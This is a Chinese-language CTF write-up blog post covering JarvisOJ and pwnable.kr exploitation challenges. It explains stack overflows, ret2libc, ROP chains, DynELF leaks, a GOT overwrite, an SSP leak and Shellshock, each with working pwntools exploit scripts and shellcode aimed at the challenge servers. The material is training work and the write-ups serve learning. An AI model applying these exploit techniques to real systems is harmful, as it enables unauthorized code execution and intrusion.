NEKO

PWN

2018/04/26

鉴于开始更新pwn的坑,把这篇记录又翻了出来ヾ(゚∀゚ゞ)
创立时间:2017-12-19 19:28:46

pwntools:http://blog.csdn.net/qq_29343201/article/details/51337025
栈溢出:https://www.cnblogs.com/dwlsxj/p/StackOverflow_1.html

checksec:http://yunnigu.dropsec.xyz/2016/10/08/checksec%E5%8F%8A%E5%85%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6/#%E5%9B%9B%E3%80%81NX%EF%BC%88DEP%EF%BC%89
1.canary(栈保护,防止缓冲区溢出攻击)
2.NX/DEP(堆栈不可执行)
3.PIE/ASLR(地址随机化)
4.REIRO(防止GOT复写)
5.FORTIFY (防止缓冲区溢出攻击)

gdb查看内存地址和栈中的值:https://blog.csdn.net/mergerly/article/details/41250339

Jarvis

参考wp:http://veritas501.space/2017/03/10/JarvisOJ_WP/

level0


vulnerable_function()函数里有read函数,可进行栈溢出,buf有0x80个字节的空间,加上ebp的8字节,填充0x88个字节,再填充地址,即改变返回地址。


发现有个callsystem的函数并未被调用,而他的功能可以让我们执行shell命令,其地址为:0x0000000000400596
poc:

1
2
3
4
5
6
7

from pwn import *
target=remote('pwn2.jarvisoj.com',9881) #链接
padding='a'*0x80+'a'*0x8 #80字节的buf空间和8字节的ebp
addr=0x0000000000400596
target.send(padding+p64(addr)) #p64打包数据,padding和addr必须在一起发送
target.interactive() #交互

level1

参考:http://www.jianshu.com/p/d267577c7af1

32位ELF文件,intel80386架构。

NX disabled , 说明该程序的栈代码是可以执行的。
主函数:

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

vulnerable_function():

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}

先输出buf的首地址,再向buf里输入,buf有0x88个字节空间,ebp为4字节(32位文件,地址为32位即4字节)
思路:输入shellcode,填充0x88+4-len(shellcode)的空间,再加上buf的首地址,使程序执行shellcode即可
poc:

1
2
3
4
5
6
7
8
from pwn import *
context.log_level = 'debug' #可以显示发送和接受的数据
target=remote('pwn2.jarvisoj.com',9877)
addr=int(target.recv()[-10:-2],16)
shellcode=asm(shellcraft.i386.sh())
padding=(0x88+0x4-len(shellcode))*'a'
target.send(shellcode+padding+p32(addr))
target.interactive()

level2

参考:http://www.cnblogs.com/ZHijack/p/7899324.html

NX enabled,无法执行栈中的代码
.data:0804A024 hint db '/bin/sh',0
搜索字符串(shift+F12)找到提示
vulnerable_function:

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

read()栈溢出
_system的地址为0x08048320
vulnerable_function函数里有:
.text:0804845C call _system
两种payload:
1.'a'*0x88+'a'*4+p32(0x0804845C)+p32(0x0804A024)这个是直接call system,直接添加参数地址即可.
2.'a'*0x88+'a'*4+p32(0x08048320)+'a'*4+p32(0x0804A024)这个直接覆盖为system的地址,要手动添加下调用system函数结束后的返回地址,达到call system的效果.
poc:

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
#target=process('./level2')
target = remote('pwn2.jarvisoj.com',9878)
target.recvline()
padding='a'*0x88+'a'*4
target.send(padding+p32(0x0804845C)+p32(0x0804A024))
#target.send(padding+p32(0x08048320)+'a'*4+p32(0x0804A024))
target.interactive()

level2_x64

参考:http://www.cnblogs.com/WangAoBo/p/7966773.html
http://veritas501.space/2017/03/10/JarvisOJ_WP/

x64汇编函数的参数第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9,第七个参数开始才放在栈上。
想办法把/bin/sh的地址放到rdi中即可.
通过ROPgadget找到pop rdi;ret这条指令的地址:

1
2
neko@ubuntu:~/pwn$ ROPgadget --binary level2_x64 --only "pop|ret"|grep "rdi"
0x00000000004006b3 : pop rdi ; ret

得到 rdi_ret=0x4006b3
再用ROPgadget找打/bin/sh的地址

1
2
3
4
neko@ubuntu:~/pwn$ ROPgadget --binary level2_x64 --string "/bin/sh"
Strings information
============================================================
0x0000000000600a90 : /bin/sh

得到sh_addr=0x600a90
poc:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
target=remote("pwn2.jarvisoj.com",9882)
elf=ELF('./level2_x64')
sys_addr=elf.plt['system']
sh_addr=0x600a90
rdi_ret=0x4006b3
padding='a'*0x80+'a'*8
payload=padding+p64(rdi_ret)+p64(sh_addr)+p64(sys_addr)
target.recvline()
target.send(payload)
target.interactive()

梳理下过程:
填充0x80字节的buf
覆盖8字节的rbp
将返回地址修改为rdi_ret,rdi_ret处的指令为pop rdi ; ret
往栈中写入/bin/sh的地址
往栈中写入system()函数的地址
执行过程:
vulnerable_function()函数执行完后,rdi_ret被pop到cs:ip中,此时栈顶是sh_addr.
程序执行pop rdi,rdi里存放的是sh_addr,此时栈顶为sys_addr.
ret后,cs:ip指向sys_addr,程序执行system()函数,参数为rdi,也就是/bin/sh,即system(“/bin/sh”)
参考:http://www.cnblogs.com/WangAoBo/p/7966773.html

level3

自我理解,可能有偏差(感觉还是有点疑惑,为什么是level3.got[‘read’]?这是本地level3中write的got表中的地址啊?理应是服务端那边的got[‘read’]啊,我觉着说的过去的一个理解是got表中存放地址是指向函数真实地址的地址,但看定义貌似got表中的地址就是函数的真正地址???我次奥,我仿佛一个弱智,level3.got[‘read’]是got表中指向read函数的这一个got表项的地址,并不是这个got表项的内容,got表项的内容才是函数真正的地址,这样一来就说通了,我居然为了这种弱智问题想了一下午,怀疑人生…(:з」∠))
考点:ret2libc
但是level3里没有system()函数,也没有/bin/sh.
给了一个c语言函数库libc,libc里面是有system()函数还有/bin/sh的,但是动态库里的函数地址是动态分配的,运行函数时会重定位,我们要想办法获得libc里system()还有/bin/sh在内存中的真实地址.

我们基于一个公式来获得libc中函数在内存中的真实地址,设libc中函数A,B的地址为libc_A、lib_B,加载到内存中后函数A,B的真实地址为RAM_A、RAM_B
则libc_A-libc_B=RAM_A-Ram_B.
在本题中,libc_system-libc_read=RAM_system-RAM_read
其中libc_system和libc_read可以直接得到,求出RAM_read的地址就能求出RAM_system。
巧了,vulnerable_function()里面有个write函数,我们可以通过溢出利用write函数把RAM_read(read函数在内存中的真实地址打印出来),从而求出RAM_system,同理求出RAM_bin(/bin/sh在内存中的真实地址)
但求出来RAM_system和RAM_bin后我们还要再溢出一次:将调用write函数的返回地址覆盖为vulnerable_function()的地址再溢出即可。
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
libc = ELF('libc-2.19.so')
level3 = ELF('level3')
target= remote('pwn2.jarvisoj.com',9879)
target.recvuntil("Input:\n")
padding='a'*0x88+'a'*4
payload1 = padding + p32(level3.symbols['write']) + p32(level3.symbols['vulnerable_function']) + p32(1) + p32(level3.got['read']) + p32(4)
# vulnerable_function()函数的返回地址被覆盖为write()的地址,write()的返回地址为vulnerable_function()(为了第二次溢出),write的三个参数分别为STDOUT_FILENO,level3.got['read'],长度4
target.send(payload1)
RAM_read=u32(target.recv())
libc_read=libc.symbols['read']
libc_system=libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()

offset=RAM_read-libc_read
RAM_system=libc_system+offset
RAM_sh=libc_sh+offset

payload2=padding+p32(RAM_system)+'a'*4+p32(RAM_sh)
#vulnerable_function()函数的返回地址被覆盖为system()在内存中的真实地址.system()函数的返回地址随意填充,参数为/bin/sh
target.send(payload2)
target.interactive()

level3_x64

相当于level3和level2_x64的结合
还是通过ret2libc求出RAM_system,RAM_sh然后把RAM_sh传给rdi.
但是传递write()参数的时候有一个问题:
用rop可以找到pop rdi;ret和pop rsi;pop r15;ret但找不到pop rdx;ret,那write第三个参数0x8怎么办?
看好多wp直接用的是pop rsi;pop r15;ret 也没解释.
这篇文章给出了解释:https://www.jianshu.com/p/03a49c53c5c3
引用这篇文章的原话:

如果我们不设置 rdx寄存器的值的话 , 那在 write() 调用的时候就会直接取得 rdx 之前的值
我们可以考虑一下 , 我们这里只需要获取 write() 返回的前八个字节作为地址
那么就算打印的数据较多 , 也并不会影响什么 , 只需要能保证 rdx 寄存器的值大于 8 即可
经过调试发现这里 rdx 的值确实是大于 8 的 , 这样我们就只需要接收前八个字节作为地址即可

至于r15我们随便写个数进去就行.
那么poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
level3=ELF('./level3_x64')
libc=ELF('./libc-2.19.so')
target=remote("pwn2.jarvisoj.com",9883)
rdi_ret=0x4006b3
rsi_r15_ret=0x4006b1
payload1='a'*0x80+'a'*8+p64(rdi_ret)+p64(1)+p64(rsi_r15_ret)+p64(level3.got['read'])+p64(666)+p64(level3.symbols['write'])+p64(level3.symbols['vulnerable_function'])
target.recvuntil("Input:\n")
target.send(payload1)
RAM_read=u64(target.recv()[0:8])
libc_read=libc.symbols['read']
libc_sys=libc.symbols['system']
libc_sh=libc.search("/bin/sh").next()
offset=RAM_read-libc_read
RAM_sys=libc_sys+offset
RAM_sh=libc_sh+offset
payload2='a'*0x80+'a'*8+p64(rdi_ret)+p64(RAM_sh)+p64(RAM_sys)
target.send(payload2)
target.interactive()

明明知道原理步骤,还是磕磕绊绊做出来的…(:з」∠)

level4

参考:https://www.anquanke.com/post/id/85129
http://yunnigu.dropsec.xyz/2016/11/19/pwn%E5%AD%A6%E4%B9%A0%E4%B9%8BDynELF%E7%9A%84%E4%BD%BF%E7%94%A8/
http://bestwing.me/2017/02/15/Memory%20Leak%20&%20DynELF/
用dynelf函数leak system的真实地址,向bss段里写入/bin/sh\x00.
疑问:dynelf什么原理?为什么是bss段?/bin/sh后面为什么要加上\x00?
答:只知道怎么用的,原理还没搞懂…;.bss段是用来保存全局变量的值的,地址固定,并且可以读可写;加\x00表示截断,使传给system()的参数为/bin/sh

没有给libc,

通常利用此漏洞的函数为write和puts。

本题中利用read来将/bin/sh传入bss段,但read需要3个参数,必须把栈中的这个三个参数给pop走,要不然截下来调用system函数的时候,system的参数传不进来.
找一个连续pop3次然后ret的指令:

1
2
3
4
5
6
7
8
9
10
neko@ubuntu:~/pwn$ ROPgadget --binary ./level4 --only "pop|ret"
Gadgets information
============================================================
0x0804850b : pop ebp ; ret
0x08048508 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f1 : pop ebx ; ret
0x0804850a : pop edi ; pop ebp ; ret
0x08048509 : pop esi ; pop edi ; pop ebp ; ret
0x080482da : ret
0x080483ce : ret 0xeac1

也可以使用gdb的peda插件:

1
2
3
4
5
6
7
8
9
Breakpoint 1, 0x0804847e in main ()
gdb-peda$ ropgadget
ret = 0x80482da
popret = 0x80482f1
pop3ret = 0x8048509
pop2ret = 0x804850a
pop4ret = 0x8048508
addesp_12 = 0x80482ee
addesp_16 = 0x80483b5

符合条件的地址为0x08048509
pop3ret=0x08048509

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
elf=ELF('./level4')
target=remote("pwn2.jarvisoj.com",9880)
plt_write=elf.symbols['write']
plt_read=elf.symbols['read']
plt_vulner=elf.symbols['vulnerable_function']
bss_addr=elf.bss()
pop3ret=0x08048509
def leak(address):
payload='a'*0x88+'a'*4+p32(plt_write)+p32(plt_vulner)+p32(1)+p32(address)+p32(4)
target.send(payload)
data=target.recv(4)
print 'address(%#x) => %s'%(address,(data or '').encode('hex'))
return data

d=DynELF(leak,elf=ELF('./level4'))
sys_addr=d.lookup('system','libc')
print 'sys_addr=%#x' % (sys_addr)

payload='a'*0x88+'a'*4+p32(plt_read)+p32(pop3ret)+p32(0)+p32(bss_addr)+p32(8)+p32(sys_addr)+'aaaa'+p32(bss_addr)
target.send(payload)
target.send("/bin/sh\0")
target.interactive()

tell me something

还是简单的栈溢出,把main函数的返回地址覆盖为good_game的地址,接收下flag就行了.但注意要用recvall()来接收不要用recv(),否则有时候接收不到,recvall()是一直接收直到EOF,recv()有默认的timeout,有时收不到,也可以用recv(timeout=5)
poc:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
target=remote("pwn.jarvisoj.com",9876)
elf=ELF('./guestbook')
padding='a'*0x88
game_addr=elf.symbols['good_game']
print hex(game_addr)
payload=padding+p64(game_addr)
target.recvline()
target.send(payload)
flag=target.recvall()
print flag
target.close()

smashes

两个考点:SSP(Stack Smashing Protector)和elf映射。
也是初学,参考的别人的wp:
http://www.cnblogs.com/chihie/p/7420090.html#10%E3%80%81Smashes%EF%BC%88SSP%EF%BC%88Stack%20Smashing%20Protector%20%EF%BC%89%20leak%EF%BC%89
http://veritas501.space/2017/03/10/JarvisOJ_WP/
还是这篇写得比较好:
https://www.jianshu.com/p/76b7d51b20fc

1
2
3
4
5
6
7
8
neko@ubuntu:~/pwn$ checksec smashes 
[*] '/home/neko/pwn/smashes'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

开启了canary,FORTIFY,NX来防止栈溢出攻击,并且堆栈不可执行.

canary保护被触发时会调用_stack_chkfail(),然而我愣是没找到stack_chk_fail()的源码,只好截取别人的:
__stack_chk_fail :

1
2
3
4
5
void 
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}

__fortify_fail:

1
2
3
4
5
6
7
8
9
void 
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg; {
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>")
}
libc_hidden_def (__fortify_fail)

__libc_message 的第二个%s输出的是argv[0],将argv[0]覆盖为flag的地址就可以输出我们想要的flag了.

可以看到flag的地址为:0x600d20

1
2
.data:0000000000600D20 byte_600D20     db 'P'                  ; DATA XREF: sub_4007E0+6E↑w
.data:0000000000600D21 aCtfHereSTheFla db 'CTF{Here',27h,'s the flag on server}',0

为什么用gdb调试这个程序没法b main???
只好用函数地址作为断点了。

1
2
3
4
5
6
7
8
9
10
11
while ( 1 )
{
v1 = _IO_getc(stdin);
if ( v1 == -1 )
goto LABEL_9;
if ( v1 == 10 )
break;
byte_600D20[v0++] = v1;
if ( v0 == 32 )
goto LABEL_8;
}

这段代码表示将输入的值覆盖0x600d20地址的值,比如我输入123,那么:

1
2
3
gdb-peda$ x/40x 0x600D20
0x600d20: 0x7265487b46333231 0x2065687420732765
0x600d30: 0x206e6f2067616c66 0x007d726576726573

可以看到0x600d20的前2个字节被覆盖为了123(小端序)

1
memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));

这段代码表示将剩下的32-len(‘123’)个字节覆盖为0:

1
2
3
gdb-peda$ x/40x 0x600D20
0x600d20: 0x0000000000333231 0x0000000000000000
0x600d30: 0x0000000000000000 0x0000000000000000

也就是说程序执行完memset这行代码时,0x600d20处存放的flag已经物是人非了,当我们用ssp泄露0x600d20处的数据时,已经不是flag了.

于是就要用到elf映射的知识了:当ELF文件比较小的时候,他的不同区段可能会被多次映射

1
.text:000000000040080E                 call    __IO_gets

在call __IO_gets处断点

1
b *0x40080e

运行,查找PCTF:

1
2
3
4
5
6
Breakpoint 1, 0x000000000040080e in ?? ()
gdb-peda$ find PCTF
Searching for 'PCTF' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x400d20 ("PCTF{Here's the flag on server}")
smashes : 0x600d20 ("PCTF{Here's the flag on server}")

可以看到在0x400d20处有flag的备份,即elf映射.

那么flag_addr=0x400d20

poc:

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
target = remote('pwn.jarvisoj.com', 9877)
flag_addr=0x400d20
target.recv()
target.sendline(p64(flag_addr)*200)
target.recv()
target.sendline()
target.recvall()

pwnable.kr

bot

栈溢出
基础:函数调用栈

overflowme的基址:ebp-2ch
key的基址:ebp+8h(4byte的ebp和4byte的返回地址)
则填充2c+8=52字节再覆盖key即可

1
2
3
4
5
6
7
from pwn import *
context.log_level = 'debug'
target=remote('pwnable.kr',9000)
padding='a'*44+'a'*8
data=0xcafebabe
target.send(padding+p32(data))
target.interactive()

flag

upx脱壳:
kali下

1
upx -d flag

flag可以直接看到:
UPX...? sounds like a delivery service :)

passcode

GOT复写.
参考:https://blog.csdn.net/smalosnail/article/details/53247502?_t_t_t=0.050024056468489064
https://blog.csdn.net/qq_18661257/article/details/54694748

先用scp命令将文件拷贝到本地环境(https://www.cnblogs.com/magicc/p/6490566.html):
直接scp -P 2222 -r passcode@pwnable.kr:/home/passcode /home/会说没有权限.
选择先上传到vps再从vps上down下来:
scp -r root@vps:/tmp/random/ /tmp
步骤:
靶机中scp -r /home/random/ root@vps:/tmp
之后down下来即可.
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

注意到scanf("%d", passcode1);中passcode1并未加&符号,
如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址。
将一个GOT表中的函数地址写到栈中,用来充当scanf()取的地址,然后把system(“/bin/cat flag”)这条指令的地址写到这个GOT表中的函数。
当这个函数被调用时,就会直接执行system(“/bin/cat flag”)

反汇编login:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
gdb-peda$ disas login
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
-> 0x08048590 <+44>: mov DWORD PTR [esp],eax
-> 0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
-> 0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
-> 0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.

got表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
neko@ubuntu:~/pwn/passcode$ objdump -R passcode

passcode: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7

login()函数中,有漏洞的scanf()函数后紧跟着的是fflush()函数,复写fflush()函数的got表地址为system(“/bin/cat flag”)的地址即可.
fflush()函数的got地址为:0804a004
system(“/bin/cat flag”)的地址为:0x080485e3
通过welcome()函数中的scanf()函数进行溢出,计算出name和passcode的偏移即可。
计算偏移:
gdb调试,在welcome()和login()处分别下断点:
b welcome
b login
然后运行 run
分别查看ebp:

1
2
3
Breakpoint 2, 0x08048612 in welcome ()
gdb-peda$ i r ebp
ebp 0xffed4ab8 0xffed4ab8

1
2
3
Breakpoint 1, 0x0804856a in login ()
gdb-peda$ i r ebp
ebp 0xffed4ab8 0xffed4ab8

发现是用的是同一个ebp.
分别汇编login和welcome发现
login中:

1
2
3
4
0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>

即passcode相对于ebp的偏移是-0x10
welcome中:

1
2
3
4
0x0804862f <+38>:	lea    edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>

即name相对于ebp的偏移是-0x70
则passcode与name的相对偏移是96

payload:”a”*96+p32(0x0804a004)+str(0x80485e3)
由于scanf()使用%d读取数据,0x80485e3要转成10进制

exp:

1
2
3
4
5
6
7
from pwn import *
target=process('/home/passcode/passcode')
fflush_got=0x0804a004
system_addr=0x80485e3
payload='a'*96+p32(fflush_got)+str(system_addr)
target.send(payload)
target.interactive()

由于设置vim权限,先把脚本传到vps上然后在wget到tmp目录下执行

random

rand()没有设置种子。
test.c:

1
2
3
4
5
6
7
#include<stdio.h>
int main(){
unsigned int random;
random =rand();
printf("%d\n",random);
return 0;
}

->gcc test.c -o test
貌似在linux系统里随机数都是1804289383
那么key=1804289383^0xdeadbeef=3039230856

leg

考的ARM汇编基础:
https://blog.csdn.net/lin200753/article/details/27540689
https://blog.csdn.net/qq_19550513/article/details/62038580
https://blog.csdn.net/qq_19550513/article/details/62044295
https://blog.csdn.net/qq_19550513/article/details/62044968
ARM参数传递规定:
R0-R3这4个寄存器用来传递函数调用的第1到4个参数,超出的通过堆栈来传递,R0同时用来存放函数调用的返回值。

BX是跳转指令,Rn是寄存器,如果Rn的位0为1(最低位),则进入Thumb状态;如果Rn的位为0,这进入ARM状态。

x86调用函数使用call指令,arm下使用bl指令。

r15或pc:程序计数器,在arm模式下当前执行的指令地址为pc-8,在thumb模式下当前执行的指令地址为pc-4

lr:存储的是函数的返回地址.

key1:

1
2
3
4
5
6
7
0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr

r0中存放的是pc(0x00008cdc+8=0x00008ce4)

key2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6 //切换到thumb模式
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr

r0=pc+4=0x00008d04+4+4=0x00008d0c

key3:

1
2
3
4
5
6
7
0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr

r0=lr=0x00008d80

だから、key=0x00008ce4+0x00008d0c+0x00008d80=108400

mistake

1
2
3
4
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

这里fd=0,因为<的优先级大于=,那么pw_buf就是从标准输入中获取内容了,输入10个0,因为0^1=1,所以pw_buf2为10个1即可

shellshock

先科普下uid和gid:https://blog.csdn.net/findstr/article/details/7330592
参考:https://www.cnblogs.com/p4nda/p/7119218.html

代码中setreuid中设置的各uid均是预置的高权限,shellshock程序中的system()具有shellshock_pwn权限可以打开flag。
利用了14年的一个cve,shellshock
poc:

1
env x='() { :;}; /bin/cat ./flag' ./shellshock

coin1

二分查找,对边界处理有点晕,参考了下别人的脚本:https://blog.csdn.net/qq_19550513/article/details/62888874
poc(在服务端运行):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re
from socket import *
target=(('0',9007))
s=socket(AF_INET,SOCK_STREAM)
s.connect(target)
def getInv(inv):
invList = []
split = ' '
for i in range(inv[0], inv[1]):
invList.append(str(i))
return split.join(invList)
startPattern = re.compile(r'^N=(\d*)\sC=(\d*)$')
equalPattern=re.compile(r'^(\d*0)$')
unequalPattern=re.compile(r'^(\d*9)$')
while 1:
data=s.recv(1024)
print data,

match1 = startPattern.match(data)
match2=equalPattern.match(data)
match3=unequalPattern.match(data)
if match1:
cur_N=(0,int(match1.group(1))/2)
pre_N=(0,int(match1.group(1)))
query=getInv(cur_N)
print query
s.send(query+'\r\n')
elif match2:
pre_N=(cur_N[1],pre_N[1])
cur_N=(pre_N[0],(pre_N[0]+pre_N[1])/2+(pre_N[0]+pre_N[1])%2)
query=getInv(cur_N)
print query
s.send(query+'\r\n')
elif match3:
pre_N=cur_N
cur_N=(pre_N[0],(pre_N[0]+pre_N[1])/2+(pre_N[0]+pre_N[1])%2)
query = getInv(cur_N)
print query
s.send(query+'\r\n')

blackjack

读代码不够仔细啊!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);

if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
else return bet;
} // End Function

这里只比较了一次if (bet > cash),后续是没有比较的,先输入501,在输入一个很大的数,赢一次就可以了.

lotto

属于爆破的一个题目。
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
pro = s.process('/home/lotto/lotto')
print pro.recv()
pro.sendline('1')
print pro.recv()
str1 = chr(1)*6
pro.sendline(str1)
data= pro.recv()
print data
while 1:
pro.sendline('1')
print pro.recv()
pro.sendline(str1)
if pro.recv()!=data:
print pro.recv()
break

原文作者: n3k0

发表日期: April 26th 2018, 8:28:46

发出嘶吼: 没有魔夜2玩我要死了

CATALOG
  1. 1. Jarvis
    1. 1.1. level0
    2. 1.2. level1
    3. 1.3. level2
    4. 1.4. level2_x64
    5. 1.5. level3
    6. 1.6. level3_x64
    7. 1.7. level4
    8. 1.8. tell me something
    9. 1.9. smashes
  2. 2. pwnable.kr
    1. 2.1. bot
    2. 2.2. flag
    3. 2.3. passcode
    4. 2.4. random
    5. 2.5. leg
    6. 2.6. mistake
    7. 2.7. shellshock
    8. 2.8. coin1
    9. 2.9. blackjack
    10. 2.10. lotto